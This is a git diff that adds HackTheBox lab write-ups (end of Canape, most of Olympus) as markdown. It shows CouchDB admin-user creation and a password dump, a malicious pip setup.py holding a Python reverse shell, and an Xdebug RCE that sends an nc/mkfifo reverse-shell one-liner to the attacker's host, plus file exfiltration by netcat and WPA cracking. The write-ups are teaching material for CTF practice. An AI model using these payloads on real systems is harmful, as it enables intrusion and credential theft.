a very high likelyhood that we are able to exploit this database by creating a username if we craft the corrcet curl PUT request: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → nano curl.req + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Canape] + → cat curl.req + curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:nihilist' --data-binary '{ + "type": "user", + "name": "nihilist", + "roles": ["_admin"], + "roles": [], + "password": "prometheus" + }' + + + +So this is going to create an administrator user called "nihilist" with his password "prometheus": + + + www-data@canape:/home$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:nihilist' --data-binary '{ + "type": "user", + "name": "nihilist", + "roles": ["_admin"], + "roles": [], + "password": "prometheus" + }' + + {"ok":true,"id":"org.couchdb.user:nihilist","rev":"1-9d2d3e05316aa1d30708576e370b242c"} + + +So there we have it, and we are now able to print out the passwords database by specifying our username and password: + + + www-data@canape:/home$ curl --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/_all_docs + < --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/_all_docs + {"total_rows":4,"offset":0,"rows":[ + {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}}, + {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}}, + {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}}, + {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}} + ]} + + +and we get a bunch of ids, so let's curl each one: + + + www-data@canape:/home$ curl --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 + + {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""} + www-data@canape:/home$ curl --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d + + {"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"} + www-data@canape:/home$ curl --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f + + {"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"} + www-data@canape:/home$ curl --user 'nihilist:prometheus' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738 + + {"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"} + + +so we have ssh with a strong password, we have couchdb passsword r3lax0Nth3COUCH, and most importantly, the homer user with his password h02ddjdj2k2k2. We can verify that homer is an user on this machine by printing out /etc/hosts, and therefore we are able to privesc to his permissions using su and his ssh password. + + + www-data@canape:/home$ cat /etc/passwd | grep homer + cat /etc/passwd | grep homer + homer:x:1000:1000:homer,,,:/home/homer:/bin/bash + + +Now we verified that homer is an user on this, we login with his ssh password : + + + www-data@canape:/home$ su homer - + su homer - + Password: 0B4jyA0xtytZi7esBNGp + + bash: cannot set terminal process group (-1): Inappropriate ioctl for device + bash: no job control in this shell + homer@canape:/home$ cat /home/homer/user.txt + cat /home/homer/user.txt + bcXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now our first reflex here is to sudo -l as the user we privesc'd to: + + + homer@canape:/home$ cd homer + cd homer + homer@canape:~$ sudo -l + sudo -l + sudo: no tty present and no askpass program specified + homer@canape:~$ python -c 'import pty;pty.spawn("/bin/bash")' + python -c 'import pty;pty.spawn("/bin/bash")' + homer@canape:~$ sudo -l + sudo -l + [sudo] password for homer: 0B4jyA0xtytZi7esBNGp + + Matching Defaults entries for homer on canape: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User homer may run the following commands on canape: + (root) /usr/bin/pip install * + + +And here we see that homer is allowed to run pip as root. All that we have to do here is create a malicious python package , then install it as root. First we create the setup.py python script containing a python reverse shell pointing at our 9002 port: + + + homer@canape:~/nihilist$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >setup.py + + +then we use pip to execute our malicious setup.py file, and we catch the incoming reverse shell connection using netcat: + +![](prg/25_012.png) + +And we get a reverse shell as root ! Therefore we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/25_graph.png) + diff --git a/Medium/26.md b/Medium/26.md new file mode 100644 index 0000000..c154704 --- /dev/null +++ b/Medium/26.md @@ -0,0 +1,802 @@ +# Olympus Writeup + +![](img/26.png) + +## Introduction : + +Olympus is a Medium linux box released back in April 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.83 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 08:18 GMT + Nmap scan report for 10.10.10.83 + Host is up (0.080s latency). + Not shown: 97 closed ports + PORT STATE SERVICE + 22/tcp filtered ssh + 53/tcp open domain + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p22,53,80 10.10.10.83 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 08:19 GMT + Nmap scan report for 10.10.10.83 + Host is up (0.081s latency). + + PORT STATE SERVICE VERSION + 22/tcp filtered ssh + 53/tcp open domain (unknown banner: Bind) + | dns-nsid: + |_ bind.version: Bind + | fingerprint-strings: + | DNSVersionBindReqTCP: + | version + | bind + |_ Bind + 80/tcp open http Apache httpd + |_http-server-header: Apache + |_http-title: Crete island - Olympus HTB + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port53-TCP:V=7.80%I=7%D=3/18%Time=5E71D995%P=x86_64-pc-linux-gnu%r(DNSV + SF:ersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x + SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0\x0c\ + SF:0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c"); + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + λ nihilist [ 10.10.14.11/23 ] [~] + → dirsearch -u http://10.10.10.83 -t 50 -e txt,html,php,xml -x 403 + git clone https://github.com/maurosoria/dirsearch.git + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 7124 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-18_08-20-40.log + + Target: http://10.10.10.83 + + [08:20:40] Starting: + [08:20:57] 200 - 66KB - /favicon.ico + [08:20:59] 200 - 314B - /index.php + [08:20:59] 200 - 314B - /index.php/login/ + + + +Let's investigate both index.php and index.php/login : + +![](prg/26_001.png) + +We seem to get an image on /index.php so let's download it and try to see if there's any steganography involved: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → file zeus.jpg + zeus.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, progressive, precision 8, 480x640, components 3 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → exiftool zeus.jpg + ExifTool Version Number : 11.91 + File Name : zeus.jpg + Directory : . + File Size : 36 kB + File Modification Date/Time : 2018:04:07 00:53:19+01:00 + File Access Date/Time : 2020:03:18 08:29:59+00:00 + File Inode Change Date/Time : 2020:03:18 08:29:31+00:00 + File Permissions : rw-r--r-- + File Type : JPEG + File Type Extension : jpg + MIME Type : image/jpeg + JFIF Version : 1.01 + Resolution Unit : inches + X Resolution : 300 + Y Resolution : 300 + Image Width : 480 + Image Height : 640 + Encoding Process : Progressive DCT, Huffman coding + Bits Per Sample : 8 + Color Components : 3 + Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) + Image Size : 480x640 + Megapixels : 0.307 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → steghide extract -sf zeus.jpg + Enter passphrase: + steghide: could not extract any data with that passphrase! + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → strings zeus.jpg + + + +Doesn't seem like we get anything too obvious, and by using the strings command we don't seem to find anything either, so let's continue by investigating the dns service running on port 53: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → dig axfr @10.10.10.83 olympus.htb + + ; <<****>> DiG 9.11.16-2-Debian <<****>> axfr @10.10.10.83 olympus.htb + ; (1 server found) + ;; global options: +cmd + ; Transfer failed. + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → dig @10.10.10.83 olympus.htb + + ; <<****>> DiG 9.11.16-2-Debian <<****>> @10.10.10.83 olympus.htb + ; (1 server found) + ;; global options: +cmd + ;; Got answer: + ;; ->>HEADER <<****- opcode: QUERY, status: SERVFAIL, id: 5749 + ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 + + ;; OPT PSEUDOSECTION: + ; EDNS: version: 0, flags:; udp: 4096 + ;; QUESTION SECTION: + ;olympus.htb. IN A + + ;; Query time: 75 msec + ;; SERVER: 10.10.10.83#53(10.10.10.83) + ;; WHEN: Wed Mar 18 08:34:17 GMT 2020 + ;; MSG SIZE rcvd: 40 + +And we seem to get a domain name ! olympus.htb seems to be the one, so let's add it to our /etc/hosts file. + + + λ root [ 10.10.14.11/23 ] [/home/nihilist] + → echo '10.10.10.83 olympus.htb' >> /etc/hosts + + +Now that's done, let's dirsearch the box once again, but this time with the domain name that we added: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → dirsearch -u http://olympus.htb -t 50 -e txt,html,php,xml -x 403 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 7124 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-18_08-36-49.log + + Target: http://olympus.htb + + [08:36:49] Starting: + [08:37:05] 200 - 66KB - /favicon.ico + [08:37:07] 200 - 314B - /index.php + [08:37:07] 200 - 314B - /index.php/login/ + + + +To which we get the same results: + +![](prg/26_001.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → ls + zeus.jpg + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → wget http://olympus.htb/zeus.jpg -O zeus2.jpg + --2020-03-18 08:40:59-- http://olympus.htb/zeus.jpg + Resolving olympus.htb (olympus.htb)... 10.10.10.83 + Connecting to olympus.htb (olympus.htb)|10.10.10.83|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 37144 (36K) [image/jpeg] + Saving to: ‘zeus2.jpg’ + + zeus2.jpg 100%[===================>] 36.27K 209KB/s in 0.2s + + 2020-03-18 08:40:59 (209 KB/s) - ‘zeus2.jpg’ saved [37144/37144] + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → md5sum zeus.jpg && md5sum zeus2.jpg + a9e247b275edb0140a8b507fdd21e7ab zeus.jpg + a9e247b275edb0140a8b507fdd21e7ab zeus2.jpg + + +By downloading the image from olympus.htb, and by using md5sum we see that both images are exactly the same, so let's use nikto to try and see if there's anything else we can find on the webserver. and while it runs, we check out the response headers from the webpage itself : Firefox > F12 > Network > Response Headers + +![](prg/26_003.png) + +Into which we (nikto aswell) see something odd : Xdebug 2.5.5 so let's do a quick searchsploit on it to see if there are any public exploits for us to use: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → searchsploit Xdebug 2 + ------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------- ---------------------------------------- + xdebug < 2.5.5 - OS Command Execution (Met | exploits/php/remote/44568.rb + ------------------------------------------- ---------------------------------------- + Shellcodes: No Result + Papers: No Result + + +Here we see that we have a OS Command Execution Metasploit exploit, so let's check it out: + + + msf5 > search xdebug + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/unix/http/xdebug_unauth_exec 2017-09-17 excellent Yes xdebug Unauthenticated OS Command Execution + + + msf5 > use 0 + msf5 exploit(unix/http/xdebug_unauth_exec) > show options + + Module options (exploit/unix/http/xdebug_unauth_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PATH /index.php yes Path to target webapp + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SRVHOST 0.0.0.0 yes Callback host for accepting connections + SRVPORT 9000 yes Port to listen for the debugger + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + + Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Automatic + + +Metasploit has it with it's options, but let's see if we can make our own by copying the script locally and by making a python version: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → locate 44568.rb + /usr/share/exploitdb/exploits/php/remote/44568.rb + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → cp /usr/share/exploitdb/exploits/php/remote/44568.rb . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → nano 44568.rb + + +So we make the correct python script following the logic behind metasploit's exploit we found earlier + +![](prg/26_004.png) + +And from here we simply use the system() function to pass in our reverse shell one liner pointing at our port 9001: + + + system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f') + + +` ![](prg/26_005.png) + +And we get a reverse shell as www-data ! Now we don't have access to any user flag right away, but in the /home/zeus directory we seem to have access to an airgeddon directory, so let's check it out: + + + $ ls -lash + total 12K + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 . + 4.0K drwxr-xr-x 1 root root 4.0K Apr 8 2018 .. + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 airgeddon + $ ls -lash airgeddon + total 1.1M + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 . + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .. + 4.0K -rw-r--r-- 1 zeus zeus 264 Apr 8 2018 .editorconfig + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .git + 4.0K -rw-r--r-- 1 zeus zeus 230 Apr 8 2018 .gitattributes + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .github + 4.0K -rw-r--r-- 1 zeus zeus 89 Apr 8 2018 .gitignore + 16K -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 CHANGELOG.md + 4.0K -rw-r--r-- 1 zeus zeus 3.2K Apr 8 2018 CODE_OF_CONDUCT.md + 8.0K -rw-r--r-- 1 zeus zeus 6.3K Apr 8 2018 CONTRIBUTING.md + 4.0K -rw-r--r-- 1 zeus zeus 3.3K Apr 8 2018 Dockerfile + 36K -rw-r--r-- 1 zeus zeus 35K Apr 8 2018 LICENSE.md + 8.0K -rw-r--r-- 1 zeus zeus 4.4K Apr 8 2018 README.md + 292K -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 airgeddon.sh + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 binaries + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 captured + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 imgs + 16K -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 known_pins.db + 672K -rw-r--r-- 1 zeus zeus 670K Apr 8 2018 language_strings.sh + 4.0K -rw-r--r-- 1 zeus zeus 33 Apr 8 2018 pindb_checksum.txt + + +In it we see the captured directory, so let's check what's in it: + + + $ cd captured + $ ls -lash + total 304K + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 . + 4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .. + 292K -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 captured.cap + 4.0K -rw-r--r-- 1 zeus zeus 57 Apr 8 2018 papyrus.txt + + $ cat papyrus.txt + Captured while flying. I'll banish him to Olympia - Zeus + + $ file captured.cap + captured.cap: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535) + + + +Now we seem to have a riddle here, trying to find "Olympia", and we have a captured.cap file which is a tcpdump capture file v2.4 so let's send it over to our machine: + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → nc -lvnp 9002 > captured.cap + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + + +` _Terminal 2:_ + + + $ cat captured.cap | nc 10.10.14.11 9002 + + +` _Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → nc -lvnp 9002 > captured.cap + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9002 + Ncat: Listening on 0.0.0.0:9002 + Ncat: Connection from 10.10.10.83. + Ncat: Connection from 10.10.10.83:55836. + + + +And we verify that we have the same file by using md5sum: + +![](prg/26_006.png) + +And we have the same file ! so let's use aircrack-ng to see if what's in this captured.cap file. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → aircrack-ng captured.cap + Reading packets, please wait... + Opening captured.cap + Read 6498 packets. + + # BSSID ESSID Encryption + + 1 F4:EC:38:AB:A8:A9 Too_cl0se_to_th3_Sun WPA (1 handshake) + + Choosing first network as target. + + Reading packets, please wait... + Opening captured.cap + Read 6498 packets. + + 1 potential targets + + Please specify a dictionary (option -w). + + +And we get a password ! so let's use rockyou.txt to see if we can bruteforce the key using aircrack-ng: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → aircrack-ng -e 'Too_cl0se_to_th3_Sun' -w /usr/share/wordlists/rockyou.txt captured.cap + + Time left: 17 minutes, 7 seconds 54.02% + + KEY FOUND! [ flightoficarus ] + + + Master Key : FA C9 FB 75 B7 7E DC 86 CC C0 D5 38 88 75 B8 5A + 88 3B 75 31 D9 C3 23 C8 68 3C DB FA 0F 67 3F 48 + + Transient Key : 46 7D FD D8 1A E5 1A 98 50 C8 DD 13 26 E7 32 7C + DE E7 77 4E 83 03 D9 24 74 81 30 84 AD AD F8 10 + 21 62 1F 60 15 02 0C 5C 1C 84 60 FA 34 DE C0 4F + 35 F6 4F 03 A2 0F 8F 6F 5E 20 05 27 E1 73 E0 73 + + EAPOL HMAC : AC 1A 73 84 FB BF 75 9C 86 CF 5B 5A F4 8A 4C 38 + + +And we found the key ! We now have a few words that might come handy + + + icarus + Too_cl0se_to_th3_Sun + flightoficarus + zeus + + +Now since our nmap scan returned a filtered ssh service running on port 22 we run another nmap scan to see where we could potentially use those credentials: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → nmap -F 10.10.10.83 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:34 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.067s latency). + Not shown: 8316 closed ports + PORT STATE SERVICE + 22/tcp filtered ssh + 53/tcp open domain + 80/tcp open http + 2222/tcp open EtherNetIP-1 + + Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → nmap -sCV -p2222 10.10.10.83 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:35 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.067s latency). + + PORT STATE SERVICE VERSION + 2222/tcp open ssh (protocol 2.0) + | fingerprint-strings: + | NULL: + |_ SSH-2.0-City of olympia + | ssh-hostkey: + | 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA) + | 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA) + |_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519) + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port2222-TCP:V=7.80%I=7%D=3/18%Time=5E71EB4D%P=x86_64-pc-linux-gnu%r(NU + SF:LL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\x20\x + SF:20\x20\x20\x20\x20\x20\x20\x20\r\n"); + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds + + + +And here we see another port opened with SSH on it ! So we try to login as the user we guessed was icarus with his password : Too_cl0se_to_th3_Sun + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → ssh -p 2222 icarus@10.10.10.83 + The authenticity of host '[10.10.10.83]:2222 ([10.10.10.83]:2222)' can't be established. + ECDSA key fingerprint is SHA256:uyZtmsYFq/Ac58+SEgLsL+NK05LlH2qwp2EXB1DxlO4. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '[10.10.10.83]:2222' (ECDSA) to the list of known hosts. + icarus@10.10.10.83's password: + + Last login: Sun Apr 15 16:44:40 2018 from 10.10.14.4 + icarus@620b296204a3:~$ id + uid=1000(icarus) gid=1000(icarus) groups=1000(icarus) + icarus@620b296204a3:~$ cat user.txt + cat: user.txt: No such file or directory + icarus@620b296204a3:~$ ls + help_of_the_gods.txt + icarus@620b296204a3:~$ cat help_of_the_gods.txt + + Athena goddess will guide you through the dark... + + Way to Rhodes... + ctfolympus.htb + + + +and we get a shell session as icarus ! Although we still need to find the user flag, being hinted yet again with a riddle about the Athena goddess and most importantly the domain name ctfolympus.htb so let's use dig just like before to enumerate this domainname: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → dig axfr @10.10.10.83 ctfolympus.htb + + ; <<>> DiG 9.11.16-2-Debian <<>> axfr @10.10.10.83 ctfolympus.htb + ; (1 server found) + ;; global options: +cmd + ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400 + ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!" + ctfolympus.htb. 86400 IN A 192.168.0.120 + ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb. + ctfolympus.htb. 86400 IN NS ns2.ctfolympus.htb. + ctfolympus.htb. 86400 IN MX 10 mail.ctfolympus.htb. + crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. + hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. + mail.ctfolympus.htb. 86400 IN A 192.168.0.120 + ns1.ctfolympus.htb. 86400 IN A 192.168.0.120 + ns2.ctfolympus.htb. 86400 IN A 192.168.0.120 + rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. + RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes" + www.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb. + ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400 + ;; Query time: 76 msec + ;; SERVER: 10.10.10.83#53(10.10.10.83) + ;; WHEN: Wed Mar 18 09:39:57 GMT 2020 + ;; XFR size: 15 records (messages 1, bytes 475) + + +From here we see that we have quite a few of subdomains to work with, along with a riddle mentionning "Prometheus opening a portal to Hades (3456 8234 62431) and St34l_th3_F1re!" So maybe we have credentials, but before that let's list every subdomain we found before adding them to our /etc/hosts file: + + + echo '10.10.10.83 ctfolympus.htb' + + + + crete.ctfolympus.htb + hades.ctfolympus.htb + mail.ctfolympus.htb + ns1.ctfolympus.htb + ns2.ctfolympus.htb + rhodes.ctfolympus.htb + RhodesColossus.ctfolympus.htb + www.ctfolympus.htb + ctfolympus.htb + + + + echo '10.10.10.83 ctfolympus.htb' + + +We try to ssh as the user prometheus with his assumed password St34l_th3_F1re : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → ssh prometheus@10.10.10.83 -p2222 + prometheus@10.10.10.83's password: + Permission denied, please try again. + prometheus@10.10.10.83's password: + Permission denied, please try again. + prometheus@10.10.10.83's password: + prometheus@10.10.10.83: Permission denied (publickey,password). + + + + icarus@620b296204a3:~$ cat /etc/passwd | grep prometheus + icarus@620b296204a3:~$ + + +We can't ssh on port 2222 as the user prometheus, because he isn't even an user on the box, so assuming from the hades riddle, we can assume that it is about port knocking just like on the box [Nineveh](10.html): + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → for x in 3456 8234 62431 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.065s latency). + + PORT STATE SERVICE + 3456/tcp closed vat + + Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.062s latency). + + PORT STATE SERVICE + 8234/tcp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.060s latency). + + PORT STATE SERVICE + 62431/tcp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.067s latency). + + PORT STATE SERVICE + 22/tcp open ssh + + Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds + + +And there we have it ! we have been able to open port 22 by knocking on the 3 aforementionned ports so let's try to ssh as the user prometheus: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus] + → for x in 3456 8234 62431; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done ;sshpass -p 'St34l_th3_F1re!' ssh -oStrictHostKeyChecking=no prometheus@10.10.10.83 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.065s latency). + + PORT STATE SERVICE + 3456/tcp closed vat + + Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.064s latency). + + PORT STATE SERVICE + 8234/tcp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT + Nmap scan report for olympus.htb (10.10.10.83) + Host is up (0.070s latency). + + PORT STATE SERVICE + 62431/tcp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds + Warning: Permanently added '10.10.10.83' (ECDSA) to the list of known hosts. + + Welcome to + + ) ( + ( /( ) )\ ) ( + )\()) ( /( (()/( ))\ ( + ((_)\ )(_)) ((_))/((_))\ + | |(_)((_)_ _| |(_)) ((_) + | ' \ / _` |/ _` |/ -_)(_-< + |_||_|\__,_|\__,_|\___|/__/ + + prometheus@olympus:~$ cat user.txt + 8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now that we are on the box let's enumerate it a bit : + + + prometheus@olympus:~$ sudo -l + + We trust you have received the usual lecture from the local System + Administrator. It usually boils down to these three things: + + #1) Respect the privacy of others. + #2) Think before you type. + #3) With great power comes great responsibility. + + [sudo] password for prometheus: + Sorry, user prometheus may not run sudo on olympus. + prometheus@olympus:~$ netstat -alvnp | grep LISTEN + + +Doesn't seem that we can run sudo -l as usual so we try to see what's running on the machine by using ps -auxw + + + prometheus@olympus:~$ ps auxw + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + root 1 0.0 0.3 56992 6812 ? Ss Mar17 0:01 /sbin/init + [...] 